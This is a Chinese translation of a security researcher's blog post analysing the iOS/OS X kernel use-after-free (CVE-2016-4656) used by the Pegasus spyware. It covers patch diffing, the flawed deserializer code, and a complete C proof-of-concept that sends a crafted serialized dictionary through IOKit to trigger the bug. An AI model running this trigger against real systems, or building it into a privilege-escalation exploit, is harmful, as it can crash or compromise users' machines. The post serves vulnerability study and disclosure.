前言
由于间谍套装Pegasus的出现,2016年8月25日苹果发布了iOS 9.3.5安全更新来封堵其所使用的三叉戟漏洞。与其他木马不同,这套间谍套装内置了三个零日漏洞来获得手机的完整权限。由于Citizen Lab和Lookout团队(漏洞的发现者)和苹果决定将此事彻底掩埋,公众对漏洞的详情知之甚少。到现在为止他们甚至都没有放出捕获的样本,因此任何第三方都没有可能进行分析。
我们团队(SektionEins)认为既然漏洞已经补上了,就不应该继续封堵漏洞的细节。所以我们决定从苹果放出的补丁中,分析一下Pegasus所使用的漏洞细节。
分析补丁
不幸的是研究iOS补丁并不是我们想象的那么容易,iOS 9 的内核是以加密的形式存储的,想要拿到一份解密的内核镜像,要么手上有一个底层的漏洞允许解密内核,要么就得直接jailbreak目标系统然后把内核dump下来。最终我们决定用我们自己手上的漏洞把9.3.4和9.3.5都jailbreak了,然后把内核dump下来。我们一般使用Mathew Solnik(注释1)的方法,他的方法可以把内核从物理内存里完整的dump下来。
两份内核都dump下来之后,我们就开始分析不同之处。我们使用了IDA的一个开源二进制找不同插件Diaphora(注释2)来完成这项工作。我们把iOS 9.3.4载入进IDA,等自动分析完成之后,用Diaphora把IDA的数据库转化成Diaphora使用的SQLITE数据库。然后重复iOS 9.3.5,然后让Diaphora来分析不同之处。结果见下图:
Diaphora发现了iOS 9.3.5中一些改变了的函数,然而大多只是改变了跳转地址。从这些改变中可以看出,最有趣的地方在于OSUnserializeXML这个函数。分析到这个函数非常困难,因为从9.3.4到9.3.5发生了非常大的变化。然而后续分析却发现这个函数实际上是inline了其他函数,还不如直接去看这个函数的源代码,因为XNU是开源的。OS X 的10.11.6版本内核XNU在这里可以看到:opensource.apple.com。
看到代码之后发现这个函数其实inline了这个函数:OSUnserializeBinary
OSObject*
OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
if (!buffer) return (0);
if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);
if (!strcmp(kOSSerializeBinarySignature, buffer)) return OSUnserializeBinary(buffer, bufferSize, errorString);
// XML must be null terminated
if (buffer[bufferSize - 1]) return 0;
return OSUnserializeXML(buffer, errorString);
}
OSUnserializeBinary
这个函数还是相对比较新的,添加到OSUnserializeXML函数里来处理序列化二进制数据的,所以某种程度上暴露给用户了。这意味着攻击者可以通过调用IOKit API(或者Mach API)等使用序列化输入参数的接口,来肆意测试这个函数,举个例子IOKit里的mathing函数。
这同样意味着,iOS平台的沙盒中的应用,以及OS X平台的应用,均可以以用户态直接发起攻击。
这个新函数的代码在libkern/c++/OSSerializeBinary.cpp中,既然问题出在这里我们就不去看苹果究竟补丁打在哪儿了。新的序列化二进制格式并不特别复杂,它包含一个32位的定位头,然后是32位的对齐标志位,后面是数据。
支持下列数据格式:
# Dictionary
# Array
# Set
# Number
# Symbol
# String
# Data
# Boolean
# Object (reference to previously deserialized object)
这种二进制格式把上述数据编码进32位块的24~30位,低的24位预留存储数字(比如长度、集合元素计数器等),31位标记集合里最后一个元素,并且所有的其他元素(字符串、符号、二进制数据、RAW数据)都按照4个字节对齐的方式进入数据流里,详情请看最后的Poc。
漏洞实质
最终感觉把这个漏洞定位出来并不是很难,因为它看上去非常像一个我们曾经在PHP.net发现的unserialize()函数中的UAF漏洞。OSUnserialize()函数貌似也是出了同样的问题:反序列器在反序列的过程中会创建一个向已释放对象的引用。
一个对象在反序列化的过程中会被加入一个表中,代码如下:
if (!isRef)
{
setAtIndex(objs, objsIdx, o);
if (!ok) break;
objsIdx++;
}
这样做并不安全,PHP也犯了同样的错误,setAtIndex()宏并不增加对象的引用计数:
define setAtIndex(v, idx, o)
if (idx >= v##Capacity)
{
uint32_t ncap = v##Capacity + 64;
typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
if (v##Array)
{
bcopy(v##Array, nbuf, v##Capacity * sizeof(o));
kfree(v##Array, v##Capacity * sizeof(o));
}
v##Array = nbuf;
v##Capacity = ncap;
}
if (ok) v##Array[idx] = o; <---- remember object WITHOUT COUNTING THE REFERENCE
如果反序列化的过程中没办法合法释放对象的话,v##Array不保留引用计数就没关系,不幸的是至少有一处代码允许了反序列化时释放对象,下文的代码是OSSymbols和OSString的处理字典对象的过程。OSString keys转换为OSSymbol的过程中OSString不复存在,然而OSString已经被加入了对象列表里面了。
if (dict)
{
if (sym)
{
DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if (o != dict) ok = dict->setObject(sym, o, true);
o->release();
sym->release();
sym = 0;
}
else
{
sym = OSDynamicCast(OSSymbol, o);
if (!sym && (str = OSDynamicCast(OSString, o)))
{
sym = (OSSymbol *) OSSymbol::withString(str);
o->release(); <---- destruction of OSString object that is already in objs table
o = 0;
}
ok = (sym != 0);
}
}
这样就尴尬了,我们只要使用kOSSerializeObject类型去引用已经被释放了的OSString,就崩溃了。这是个经典的UAF(Use After Free)漏洞。
PoC
既然已经研究好了问题在哪里,我们写了一个简单的Poc来发动同样的攻击。大家可以在OS X 里尝试一下(因为原理和iOS是一样的)。
/*
* Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
* compile on OS X like:
* gcc -arch i386 -framework IOKit -o ex exploit.c
*/
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollecton = 0x80000000U,
};
#define kOSSerializeBinarySignature "\323\0\0"
int main()
{
char * data = malloc(1024);
uint32_t * ptr = (uint32_t *) data;
uint32_t bufpos = 0;
mach_port_t master = 0, res;
kern_return_t kr;
/* create header */
memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
bufpos += sizeof(kOSSerializeBinarySignature);
/* create a dictionary with 2 elements */
*(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
/* our key is a OSString object */
*(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
/* our data is a simple boolean */
*(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
/* now create a reference to object 1 which is the OSString object that was just freed */
*(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
/* get a master port for IOKit API */
host_get_io_master(mach_host_self(), &master);
/* trigger the bug */
kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
printf("kr: 0x%x\n", kr);
}
攻击套件
我们刚刚分析完了代码和问题,还没有开发攻击套件。我们会开发的,并且在下次的培训(注释3)上以这个为案例讲一下。
原文:http://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html
注释1:http://blog.offcellresearch.com/security/apple/ios/kernel/2016/08/23/who-needs-decrypted-kernels-anyways.html
注释2:https://github.com/joxeankoret/diaphora
注释3:https://www.sektioneins.de/en/blog/16-08-04-trainingBerlin.html